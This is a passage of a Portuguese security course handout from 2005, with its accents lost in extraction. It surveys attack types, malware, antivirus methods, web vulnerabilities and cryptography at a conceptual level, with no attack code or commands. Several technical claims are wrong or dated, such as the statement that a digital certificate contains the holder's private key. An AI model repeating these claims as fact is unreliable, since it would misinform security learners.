Vous êtes sur la page 1sur 41

Curso de Segurana em Linux e Redes em Geral

Prof. Lus Rodrigo www.LivrosGratis.net

Verso 0.4 Rascunho Data: 04.03.2005


Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 1 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

Introduo: A Segurana na Internet


Devido ao modo como a Internet foi projetada, ainda hoje, existe uma ausncia de mecanismo que garantam a privacidade e autenticao, para as camadas que esto abaixo da aplicao, ou seja, quando da sua criao no houve uma grande preocupao com segurana. Dentre os vrios problemas que ainda agravam esta situao podemos destacar: 1) Senhas reutilizadas e no cifradas; 2) Baixo nvel de segurana em servidores de Dial-Up (linha discada); 3) Falta de critrio de segurana, na criao de contas de usurios; 4) Monitorao e expirao de contas feita de forma ineficiente; 5) Falta de ateno quando a configurao de servidores que executam algum tipo de CGI (Common Gateway Interface). Desta forma, jamais execute um servidor web como root, sendo indicado a criao de um usurio especfico para tal ao, como por exemplo o usurio de grupo webserver. O principal avano que ocorreu na segurana da WEB nos ltimos tempos foi a criao do protocolo SSL (Secure Socket Layer) pelo Netscape, este protocolo usa uma estrutura de trs camadas que emprega: 1) Autenticao; 2) Criptografia RSA e DES; 3) Verificao de integridade MDS. Como funciona o processo: 1) Realizao do Handshake (Aperto de Mos) Definio de uma chave secreta; 2) Incio da conexo privada Mecanismo de criptografia DES chave simtrica; 3) Pode haver a autenticao do cliente e do servidor, via RSA chave assimtrica; 4) Transporte das mensagens uso do algoritmo de verificao de integridade uso do SHA, MDS e etc. Podemos ento perceber claramente que o objetivo deste protocolo de segurana prover a privacidade e confiabilidade entre dois programas, buscando estabelecer um processo de negociao e emprego de funes de autenticao mtua.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 2 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

1) Conceitos Bsicos
O Termo "Segurana", segundo a ISO 7498-2, utilizado para especificar os fatores necessrios para minimizar a vulnerabilidades de bens e recursos e est relacionada a necessidades de proteo contra acesso ou manipulao das informaes confidenciais e utilizao dos recursos de processamento de forma no autorizada. Da mesma forma "Vulnerabilidade" utilizada para especificar qualquer fraqueza que pode ser explorada para violar um sistema ou as informaes que ele contem. A necessidade de proteo deve ser definida tendo como base as possveis Ameaas as quais o ambiente est exposto, e deve ser formalizado em um documento oficial denominado Poltica de Segurana.

1.2) Ameaas e Ataques


Uma "Ameaa" consiste de uma possvel violao da segurana de um ambiente ou sistema. As ameaas podem ser classificadas como: 1. Passivas / Ativas; 2. Acidentais / Intencionais; Um "Ataque" a materializao de uma ameaa e normalmente pode ocorrer de vrias formas diferentes, mas normalmente realizado atravs das etapas: 1. Obter informaes sobre o alvo - coleta do perfil do alvo; 2. Obter acesso inicial, no privilegiado, ao sistema; 3. Explorar pontos fracos para aumentar o nvel de privilgio e expandir o acesso; 4. Executar o ataque propriamente dito; 5. Instalar porta dos fundos (backdoor); 6. Cobrir rastros. Dentre as tcnicas que podem ser utilizadas para proferir um ataque podemos destacar: 1. Phreaking - consiste na m utilizao do sistema telefnico, permitindo acesso gratuito e at mesmo interromper seu funcionamento; 2. Discagem de Guerra ou Discagem de Fora Bruta: consiste no uso de ferramentas para realizar a discagem seqencial para um nmero aleatrio de nmeros com o objetivo de detectar um modem. Uma vez identificado um modem poderia ser utilizado
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 3 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

um ataque de senha para se ter acesso ao sistema; 3. Engenharia social: consiste em se passar por uma outra pessoa com o objetivo de coletar informaes para proferir o ataque em s (coleta de informaes privilegiadas); Recentemente tem-se utilizado principalmente o "e-mail" para a realizao desta tcnica. Esta tcnica uma forma incrvelmente eficaz de se reunir informaes sobre um dado ambiente u sistema alvo; 4. Quebra de senha: tem por finalidade obter as senhas de acesso ao sistema, ou de uma conta em especial. As principais tcnicas que podem ser empregadas so: Fora bruta; Dicionrio; Combinao de palavras; Como no existem senhas 100% seguras uma questo de tempo at que um software de quebra de senha consiga descobrir uma senha. 5. Filtragem de Pacote (packet sniffing): almeja a coleta de nomes de usurio e senhas que trafegam de forma no protegida pela rede; e outros tipos de informaes pertinentes para o invasor; 6. Varredura ICMP - Pinging : esta tcnica utilizada para determinar os possveis alvos para um determinado ataque, mas tambm pode ser utilizada por Administradores de Rede para realizar o monitoramento da mesma; 7. Scanner de Portas: consiste na determinao de quais servios de rede esto ativos nos hospedeiros da rede, bem como da identificao das principais vulnerabilidades a que estes hospedeiros esto sujeitos. Ao identificar o endereo de um hospedeiro ativo, o invasor pode utilizar este valor para forjar um ataque sem ser identificado 8. Coleta do Finger Printing de um hospedeiro; 9. Cdigo malicioso (malware): programas desenvolvidos com objetivo de "furto" de informaes ou at mesmo danificao dos sistemas.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 4 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

1.2) Os Principais tipos de Ataques


1. Personificao (masquerade): uma entidade faz-se passar por outras; 2. Replay: aps uma mensagem ser interceptada ela pode ser transmitida para permitir o acesso de um invasor ao sistema; 3. Modificao de Contedo: o contedo de uma mensagem alterado de forma furtiva; 4. Ataques Internos: normalmente proferidos por usurios legtimos que realizam operaes ilegais;

5. Armadilhas (trapdoor): entidades do sistemas so modificadas para produzir efeitos no autorizados em resposta a determinadas mensagens ou intervalos de tempo; 6. Cavalos de Tria: entidades que executam funes no autorizadas, como por exemplo um procedimento de "Login" modificado; 7. Recusa de Servio: tem por objetivo impedir que entidades legitimas realizem suas funes. Tipo: DoS e DdoS. 8. Spoofing IP - Esta uma tcnica, dita altamente sofisticada, onde uma mquina autenticada por outra atravs de Pacotes IP indicando ser uma fonte segura. Dado que um computador X pode manter uma comunicao com um outro computador Y, sem a necessidade da constante verificao de autenticidade. Um hacker pode se disfarar informando para X que sua mquina Y. Para isto ele deve ser capaz de gerar os nmeros de seqncia que so usados durante o Aperto de mos entre dois servidores, uma forma de se obter tais nmeros enviar uma srie de solicitaes de conexes com X e guardar os nmeros gerados.. Com o tempo, o hacker pode descobrir como ele gera estes nmeros. Descoberto o processo de gerao dos nmeros, o hacker inicia uma conexo informando ser X, mas como ele no a mquina indicada ele age as escuras. Feito a solicitao ele envia um outro pacote com o nmero de seqncia, e com isto fecha a conexo. Uma vez fechada a conexo o usurio passa a trabalhar em um canal unidirecional, uma vez que ele no reabrir os pacotes de resposta. Uma forma de se evitar este tipo de ataque configurar o roteador para que ele no aceite pacotes internet que simulam originar-se de um endereo local. Outra forma seria a verificao dos logs, e do arquivo de host confiveis, caso haja uma conexo ativa com algum destes hosts, mas sem que hajam processos em andamento provavelmente um ataque est em ao.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 5 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

9. Negao de Servio - Este tipo de ataque tem por objetivo deixar um recurso inoperante momentaneamente. Existem basicamente dois tipos de ataques desta categoria o DoS e o DDoS, este segundo, se baseia no envio de uma grande quantidade de pacotes para um alvo de forma coordenada a partir de vrias origens. Devido a uma fragilidade do TCP (Transmission Control Protocol) os endereos da origem dos pacotes so normalmente forjados. Sendo que os tipos mais comuns de DoS se baseiam na prerrogativa que o cliente tem que aceitar a conexo e na limitao de que um servio tem que aceitar um nmero de conexes por vez. Um dos cuidados que devem ser tomados quando da configurao dos equipamentos de rede que eles no possam ser usados como fontes de ataques, bem como contra os ataques propriamente ditos, uma das formas de se fazer a segunda parte e retirar os servios que no esto sendo utilizados, outra forma realizar uma constante verificao do trfico do site, assim sendo, quando uma atividade anormal for detectada, uma atitude correspondente deve ser adotada, como por exemplo bloquear um endereo de IP.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 6 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

2) Malware
Desde novembro de 1988, quando Robert Morris lanou seu verme na internet, a mdia apresentou

o cdigo malicioso como se fosse um desastre natural, o que no deixa de ser uma verdade, visto seus efeitos e como as pessoas se comportam. Os vrus, alm de serem desastrosos para a produtividade de uma empresa, devido ao seu comportamento epidmico, ele pode consumir uma sensvel parte da largura de banda de uma rede de computadores. Atualmente existe mais de 40.000 tipos distintos de vrus registrados. Dos vrus conhecidos trs se destacam pelo seu poder destrutivo e pelo seu modo de operao. O vrus Melissa, desenvolvido por David Smith em 1999, causou um dano total de US$ 80 mil. O vrus "I love You" causou um dano total de US$ 10 bilhes e desativou mais de 10.000 empresas, incluindo o Departamento de Defesa Norte Americano (D.O.D). Um dos motivos de rpida proliferao do Vrus "I love you" foi causada pelo uso do catlogo de endereos do Microsoft Outlook Express, e por explorar a curiosidade do usurio. Como acontece no mundo real a cura para estas pragas est sempre um passo atrs do seu desenvolvimento. E atualmente os vrus deixaram de ser um pequeno incomodo, se tornando uma real ameaa para a comunidade comercial.

2.1) Ciclo de Vida do Vrus


- Nascimento; - Lanamento; - Proliferao; - Disparo; - Ativao; - Deteco; - Eliminao; - Mutao (volta ao primeiro estgio). Os vrus podem utilizar vrios meios de transporte, originalmente os disquetes e os arquivos baixados de BBS eram a principal fonte, atualmente os e-mails e as redes promscuas so os dois maiores
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 7 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

grupos de risco de contaminao. Atualmente, muitos vrus no necessitam que o usurio executem um arquivo anexado, basta abrir o e-mail ou visitar um site que o mesmo automaticamente acionado.

2.2) Tipos de Vrus


Os principais tipos de vrus so: 1. Vrus de infeco de arquivos - um dos primeiros tipos de vrus. Quando arquivos infectados eram executados, o vrus era automaticamente executado e se proliferava para os demais arquivos executveis existentes no sistema; 2. Vrus do setor de boot - pouco comuns na atualidade, foram uma praga no passado, eram carregados antes da execuo do sistema operacional e contaminavam todos os demais discos inseridos no sistema. Atualmente este tipo de vrus no causa grandes danos devido a funcionalidades incorporadas nos sistemas operacionais mais recentes; 3. Vrus de Macro - usam as linguagens de macro dos programas para infectar seus arquivos de dados. So Vrus especficos dos programas e atacam principalmente documentos do Microsoft Word e Microsoft Excel; 4. Virus de Sript - so escritos utilizando-se de programao script, principalmente Visual Basic Script e Java Script, normalmente ativos quando um e-mail aberto ou um site visitado; 5. Vrus Criptografado - foi o primeiro resultado da guerra entre desenvolvedores de vrus e anti-vrus, como as assinaturas dos vrus so normalmente sua forma de deteco, os vrus comearam a cifrar e embaralhar seus cdigos todas as vez que so

executados; 6. Vrus Polimorfico - so vrus que possuem um sistema ativo de mutao, que no somente muda o vrus a cada vez que ele replica, mas tambm muda a rotina que decifra. Isto cria um vrus muito difcil de se detectar. Um exemplo de vrus desta categoria "One Half", que criptgrafa progressivamente o seu disco rgido, tornando-o impossvel de ser lido.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 8 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

2.3) Outros tipos de Malware:


1. Cavalos de Tria; 2. Vermes - so aplicativos designados para se espalharem pelas redes e se replicarem, so independentes de outros programas aos arquivos, e geralmente causam danos por causa de sua replicao fora de controle; 3. Cdigo malicioso em Java - esta linguagem normalmente utilizada na Internet na forma de applets eu so manipuladas pelo browser. A segurana desta linguagem de sua mquina virtual, contudo inevitvel que algum usar o Cdigo Java para escrever um programa malicioso; 4. Cdigo malicioso em Active X esta linguagem de propriedade da Microsoft e assim como a Java pode ser utilizada para difuso de cdigo malicioso. Contudo, contem assinaturas digitais que verificam o nome do autor do programa. Depois o browser verifica se voc confia ou no no fornecedor do software. Contudo, jamais permita automaticamente todos os aplicativos de um dado auto, visto a possibilidade de se falsificar um certificado;

2.4) Tecnologias de antivrus


Existem vrias tcnicas que podem ser adotadas pelos antivrus, das quais podem-se destacar: 1) Investigao de assinatura; 2) Monitoramento de atividades; 3) Verificao de integridade. Os Pacotes de Investigao procuram assinaturas e consistem de duas partes: 1) Um banco de dados contendo as assinaturas conhecidas; 2) Software de pesquisa e anlise dos arquivos em busca destas assinaturas. Outra forma de investigao a Investigao Heurstica, que procura cdigo suspeito, estes softwares convergem os arquivos para uma rea virtual do computador rea de quarentena, os executam e testam seu comportamento. Uma vantagem da Investigao Heurstica que ela pode: pegar novos vrus antes mesmo de
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 9 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

ocorrer uma infeco ou do lanamento do novo arquivo de assinaturas. Mas os investigadores podem oferecer falsos positivos, contudo este problema tem sido gradativamente reduzido. Os Monitores de Atividade observam as aes que esto sendo executadas no computador, e quando ocorre uma ao suspeita, o monitor envia um alerta para o usurio, pedindo que o mesmo aceite ou rejeite a execuo do cdigo, o que pode gerar certo nvel de inconvenincia ao usurio. Os Verificadores de Integridade guarda informaes detalhadas sobre os arquivos do computador e setores do sistema. Isso permite que ele possa determinar quando so feitas mudanas e ento emitir um alerta ao usurio. Os softwares antivrus podem ser executados em trs locais distintos: No Desktop protegendo localmente os dados, mas pode ser facilmente desabilitado pelo usurio; Nos Servidores garante maior nvel de segurana para os dados da rede, mas podem sobrecarregar a operao do servidor; Nos Gateways da Rede evita a entrada e sada de softwares maliciosos da rede. Pode gerar um atraso na comunicao, contudo seu uso altamente recomendado.

Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 10 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

3) Problemas de Segurana da WEB


Quando a WEB era formada por pginas esttuas, no havia possibilidade de realizao de comrcio, mas mesmo assim j era alvo de ataques de segurana, como por exemplo, a desfiguraro do arquivo index.htlm. Apesar de simples, este ataque pode gerar a perda de credibilidade da empresa e a reduo da confiana do usurio. Outro tipo de ataque que j era comum nesta poca era a alterao ilegal dos servidores de DNS, que permitem que sites fossem trocados. Os ataques de DNS no geravam a perda dos dados da pgina, mas causavam os mesmos danos a credibilidade e confiana. Durante estes ataques normalmente os hackers utilizam-se da tcnica de camuflagem de IP , a qual permite ocultar o endereo de uma outra pessoa durante o ataque. Com o crescimento da web, os sites de e-commece se tornaram o grande alvo dos hackers, visto que eles poderiam lucrar de vrias formas, principalmente financeiramente. A desfigurao de Sites o tipo de ataque mais simples e pode no exigir grandes conhecimentos. o mais explorado pelos Script Kiddies. Mesmo sendo um ataque simples, ele causa srios danos empresa, independente se o site hospedado para terceiros.

3.1) Ataques de Negao de Servio


Apesar dos hackers ainda no possurem uma unio, eles trabalham em grupos de forma livremente organizada. Estas caractersticas que tornam este tipo de ataque possvel. O objetivo deste ataque no causar perda de dados ou acesso ilegal ao sistema. E sim tornar o servidor incapaz de responder aos clientes reais que tentam acessar o site. Uma das primeiras formas desse tipo de ataque era aplicado contra o sistema telefnico de determinadas organizaes, neste caso, os hackers, simplesmente ligavam repetidamente para os nmeros de telefones dos SACs impedindo aos reais cliente o acesso ao servio.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 11 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

Os hackers podem automatizar estes ataques atravs dos Zumbis que so sistemas previamente comprometidos para um ataque. Este tipo de ataque pode caracterizar um DDOS, no qual o invasor no pode ser diretamente rastreado. Novos Zumbis so facilmente alertados, pois cada vez mais existem pessoas com acesso de banda larga, nas quais conectam seus computadores de forma protegida para um longo perodo de tempo. Dentre as ferramentas utilizadas pelos hackers podemos destacar o Tribal Flood Network e o Trin00. Tipos de ataque: 1) Ataque Smurf : uma rede com pedidos Packet Internet Groper (PING), neste caso a rede sobrecarregada com uma grande quantidade de pedidos e replicar de ping; 2) Ataque Fraggle : este ataque usa o protocolo UDP User Datagram Protocol da mesma forma que o ataque smurf; 3) Ataque de Inundao de SYN: cliente e servidor trocam uma srie de mensagens a fim de estabelecer uma conexo. O primeiro pacote o SYN (abreviao synchroneze sincronizar).

O n da rede responde ao cliente com uma mensagem SYN-ACK (synchronize acknowledgment confirmao de sincronizao).. Durante o ataque o hacker no envia a confirmao (ACK) deixando o host aguardando com uma conexo meio alerta. Quando o host atinge seu limite de conexes, ele passa a recusar quaisquer conexes que chegarem, incluindo as vlidas. Estas conexes alertas iro expiar o trmino do ataque e a negao do servio terminar. O anonimato de um ataque de Negao de Servio torna-o um ataque pouco visvel, mas com elevados danos publicidade e imagem da empresa. Apesar de serem fceis de se gerar, so difceis de se impedir, a nica coisa que pode ser feita tornar sua rede mais difcil de atacar e seus computadores de se tornarem Zumbi.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 12 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

3.2) Estouro de Bufffer


Buffers so reas de armazenamento temporrio. 1) Possui tamanho limitado; 2) Estou de Buffer ocorre quando os dados excedem o limite; 3) Os dados excelentes podem alterar outras regies de dados, incluindo as instrues do Programa; 4) Pode ser utilizado para executar cdigo malicioso e abrir acesso ao sistema; 5) Existem em todos os sistemas. Soluo: 1) Validao dos dados antes de serem enviados para o buffer; 2) Pode atrasar as transaes e reduzir a largura da banda; 3) A validao deve ser feita, principalmente no servidor.

3.3) Vulnerabilidade no campo do formulrio


1) Principalmente nos campos ocultos; 2) Campos podem ser vistos selecionando as opes EXIBIR/CDIGO FONTE; 3) O hacker pode alterar estes campos antes de submete-los ao site; 4) Formulrios com cdigo de sesso tambm so vulnerveis a este ataque e poderiam permitir a um hacker apanhar a sesso de um usurio real. Soluo: 1) Todos os dados retornados para um formulrio devem ser verificados para o servidor; 2) Incluindo aqueles que o usurio no possui acesso direto; 3) Java Script no lado do cliente reduz o problema, mas no resolve, pois pode ser desabilitado.

3.4) Modificao do arquivo de Cookie


1) Cookies so arquivos texto que guardam as preferncias do usurio; 2) So arquivos no cifrados, logo podem ser facilmente alterados por um hacker.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 13 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

3.5) Scripts entre sites


1) Um usurio pode ser atrado a executar um cdigo malicioso contra um site; 2) Pode ocorrer quando um usurio recebe um e-mail com um Hiperlink; 3) Ao clicar no link ele direcionado ao site com o cdigo malicioso; 4) O servidor web aceita o cdigo pensando ser de um usurio confivel e o executa; 5) Este script poder fornecer ao hacker informaes confidenciais sobre o usurio.

3.6) Vulnerabilidades do Sistema Operacional e das Aplicaes


1) H falhas de segurana em todos os sistemas operacionais e aplicaes; 2) Monitorar falhas e aplicar os patches; 3) Fornecedores relutam em publicar os pontos fracos; 4) Configuraes mal feitas, portas dos fundos e depuraes tambm podem deixar o site vulnervel; 5) Programadores tambm podem deixar comandos de depurao que foram teis durante o desenvolvimento, mas agora representa um grande risco.

Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 14 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

4.) A criptografia e seu uso


A criptografia a arte/cincia de escrever de forma cifrada/codificada. Ou seja, o conjunto de tcnicas que permite reescrever uma mensagem clara de forma incompreensvel e permitir que somente o destinatrio entenda a mensagem. A criptografia tem por finalidade garantir a privacidade atravs do uso de algoritmos que trabalham como funes matemticas que mapeiam um dado de entrada em uma outra informao na sada, que na verdade o texto cifrado. A palavra criptografia vem do grego: krypto = esconder + grafo = escrita/grafia. A criptoanlise a cincia de determinar a chave de criptografia ou decifrar as mensagens. A criptologia a cincia que combina ambas as anteriores. E o criptanalista pode ser tanto o mocinho quanto o vilo. Os componentes bsicos de uma estrutura de criptografia so: 1) Dado de entrada - texto plano; 2) Funo de mapeamento - algoritmo de criptografia; 3) Segredo - chave que cifra e/ou decifra; 4) Dado de sada - texto cifrado.

4.1) Sistema Criptogrfico


Estes sistemas podem ser baseados em dois tipos de algoritmos, nos restritos e nos modernos. Aqueles que se baseiam nos algoritmos modernos podem ser simtricos e assimtricos. Os sistemas simtricos fazem uso de somente uma chave, dai o seu nome, j os sistemas assimtricos fazem uso de duas chaves, a pblica e a privada.

4.1.1) Algoritmos restritos


1) O algoritmo o segredo; 2) No muito seguro; 3) So difceis de se desenvolver e distribuir enquanto continuam secretos;
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 15 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

4.1.2) Esteganografia
Esconder uma mensagem secreta em outra mensagem. Exemplos: 1) Tinta invisvel - mensagem publica usando tinta normal e a secreta usando tinta invisvel; 2) Imagem grfica: 1) Incluir uma mensagem secreta dentro de uma figura.; 2) Ou em se cabealho de dados.

4.1.3) Cifras de substituio


1) Longo histrico; 2) Substitui cada carter do texto puro para um outro smbolo na mensagem secreta; 3) As substituies podem ser arbitrrias ou podem ter um padro determinado, como uma rotao do alfabeto; 4) So fceis de descobrir devido aos padres de letra e freqncia em cada linguagem. Exemplo: Taquigrafia; Cdigo Morse; American Standart Code For Informatran Interchange (ASCII).

4.1.4) Cifras de Transposio


1) Mantem o cdigo puro intacto, mas trocam ou misturam a ordem de alguma forma; 2) Uma verso desta tcnica a Cifra de transposio colunar simples; Exemplo de funcionamento: (1) Definio da cifra original THIS IS A SIMPLE COLUMNAR TRANSPOSITION CIPHER (2) Definio do formato da matriz

Frase 40 caracteres Grade 8 colunas 5 linhas


Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 16 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

(3) Inserindo dados na grade: THISISAS IMPLECOL UMNARTRA NSPOSITI ONCIPHER (4) Reescrita da cifra = seguindo-se as colunas verticalmente. TIUNO HMMSN IPNPC SLAOI IERSP SCTIH AORTE SLAIR Verses mais sofisticadas usam padres mais complexos, como ziguezague pela grade. Como as palavras esto mantendo a mesma freqncia, esta tcnica facilmente detectada e quebrada.

4.2) Tcnicas Modernas de Codificao


1) Usam algoritmos, irrestritos e chaves para manter as informaes seguras; 2) Superiores aos sistemas de algoritmo restrito; 3) Muitos possuem anos de resistncia criptoanlise intensa; 4) Muitas pessoas podem usar o mesmo algoritmo, basta mudar a chave; 5) Quando a chave for comprometida basta gerar uma nova; 6) Duas tcnicas bsicas: 1) Criptografia simtrica; 2) Criptografia assimtrica ou criptografia pblica. 7) Muitos sistemas usam ambas as tcnicas.

4.2.1 Criptografia Simtrica


1) Conhecido como codificao de chave secreta; 2) Uma mesma chave utilizada para codificar e decodificar; 3) Desta forma, a chave o segredo. 4) muito utilizada em conexes seguras para realizar a troca das chaves temporrias;
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 17 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

Exemplo de algoritmos: 1) DES Data Encyptron Standard; 2) Triple DES; 3) IDEA International Data Encyption Algorithm; 4) Blowfish; 5) Rot 13 6) RCS. Estes algoritmos podem ser de dois tipos: 1) Algoritmos de Fluxo que trabalham com o texto um byte por vez; 2) Algoritmos de Bloco trabalham sobre blocos de tamanha fixo. Os sistemas simtricos so mais simples e mais rpidos do que aqueles de chave pblica (1.000 vezes mais rpido), mas possui a desvantagem de que dois usurios distintos tenham conhecimento do mesmo segredo (chave). Ambos os usurios so responsveis pela segurana da chave.

4.2.2 Criptografia para chave pblica (assimtrica)


Foi criada em 1976 por dois matemticos de Stanford, Whitfield Diffie e Martin Hellman. Esta resolve o problema do uso da chave secreta existente na criptografia simtrica, para tal faz uso de duas chaves (privada - cifra e pblica- decifra). Estas duas chaves so diferentes, contudo possuem um relacionamento matemtico, todavia no possvel derivar a chave privada a partir da pblica e vice-versa, elas se baseiam em nmeros primos, fatorao, logaritmos e outras funes matemticas. Neste caso, o

tamanho da chave quem determina a eficincia do processo. O principal deste tipo de criptograma o RSA criado por Ron L. Rivert, Adi Shamir e Leonard Adelman, a segurana deste algoritmo se baseia na dificuldade de se fatorar nmeros extensos. Segundo pesquisadores, para desvendar o sistema RSA Data Security usando uma chave de 760 bits, seriam necessrios 4.300 computadores e 50 anos. O uso destas chaves permite o estabelecimento da conexo segura entre duas entidades sem o prvio conhecimento das chaves. Visto que quando uma entidade X precisa enviar uma mensagem para Y, ela usa a chave pblica de Y, para cifrar a mensagem e somente a entidade Y ser capaz de decifrar a mensagem, pois somente ela conhece a sua chave privada.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 18 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

4.2.3 Criptossistemas Hibridos


Estes sistemas fazem uso do sistema de chave pblica apenas para realizarem o envio e troca de chaves, para a transmisso de dados utilizada a criptografia simtrica e a chave enviada anteriormente. O Criptossistemas hbridos aproveitam o melhor das duas tecnologias. Um exemplo de sistema hbrido o implementado pelo protocolo HTTPS, largamente usado em e-commerce. Exemplo de funcionamento .......

4.3) Outros recursos dos criptossistemas


Alm da confidenciabilidade, os criptossistemas podem ser estilizados para a autenticao, verificao de integridade e reconhecimento. 1) Autenticao permite garantir que uma pessoa quem realmente afirma ser; 2) Integridade garante que os dados no foram alterados durante a transmisso; 3) Reconhecimento garante que o emissor de dados uma pessoa especfica, e que o destinatrio realmente recebeu os dados. Impede o repdio de informaes.

4.3.1)Mtodos de segurana que utilizam criptografia


Atualmente a criptografia est sendo largamente utilizada para proteger de vrias formas os dados que esto em trnsito pela rede ou armazenados nos discos ticos e magnticos das mquinas. Dentre os mtodos atualmente disponveis podemos destacar:

4.3.1.1)Funo de Hash Unidirecional:


1) Permite verificar a integridade de uma mensagem ou bloco de dados; 2) um valor exclusivo a mensagem; 3) Serve como impresso digital; 4) A mensagem original no pode ser derivada a partir do Hash Dentre os algoritmos que fazem uso desta tcnica podemos destacar: Secure Hash Algorithm
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 19 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

1 (SHA 1), RIPEM, MD5 e HAVAL.

4.3.1.2) Cdigo de Autenticao de mensagem (MACs):


1) Garante a autenticao e integridade dos dados; 2) Hash Unidirecional + chave secreta; 3) Semelhante a criptografia simtrica; 4) No se preocupam em manter os dados secretos ou sua integridade.

4.3.1.3) Assinaturas Digitais:


Permite que o destinatrio de uma mensagem digital possa verificar a autenticidade do seu remetente. E que a mensagem no foi de forma alguma alterada durante o processo de transferncia, visto

que uma assinatura digital que tenha sido verificada no pode ser negada, ela fornece um elevado nvel de confiana no processo de transaes eletrnicas e autenticao de documentos digitais. O processo das Assinaturas Digitais se baseia na existncia de duas chaves, uma pblica e uma privada. Neste caso, o remetente codifica a mensagem utilizando a sua chave privada e somente o usurio que possui a sua chave pblica poder ler a mensagem. Uma assinatura digital possui as seguintes propriedades: 1. Garante a Autenticidade; 2. No pode ser forjada; 3. No reutilizvel; 4. No pode ser repudiada. 5. Vlida certificados; 6. Pode ser utilizada em assinaturas eletrnicas; 7. Autentica, verifica a integridade e faz o reconhecimento de mensagem; 8. Pode ser utilizada como Hash de um documento; Algoritmos: 1) RSA; 2) Digital Signature Algotithm (DSA); 3) Digital Signature Standard (DSS). Usa a chave privada para assinar o documento, e o destinatrio usa a sua chave pblica para verificar sua assinatura.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 20 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

4.3.1.4) Certificados Digitais:


1) Permite reconhecer/validar certificados emitidos; 2) Verificao das chaves por um terceiro de confiana autoridades de certificado (CAS); 3) Possuem uma taxa de ativao e validade; 4) Um certificado digital composto: da chave privada e publica do indivduo, mais a assinatura da CA.; 5) Autoridades certificadoras: Versign, Inc; Secure Net Technologia; 6) Alguns governos, como Estados Unidos e Brasil, funcionam como certificadores; 7) Algumas instituies possuem sua prpria autoridade, para codificao interna de dados.

4.3.1.5) Kerberos:
1) Servio de autenticao (MIT); 2) Cifras para codificao e autenticao; 3) Constitudo de um Banco de Dados de Cifra; 4) Aps o login, gera e distribui as chaves de sesso; 5) Quando o autenticador quebrado todo sistema pode entrar em colapso; 6) No indicado para uso entre domnios de segurana.

4.4 ) Principais Tipos de Ataques de Codificao


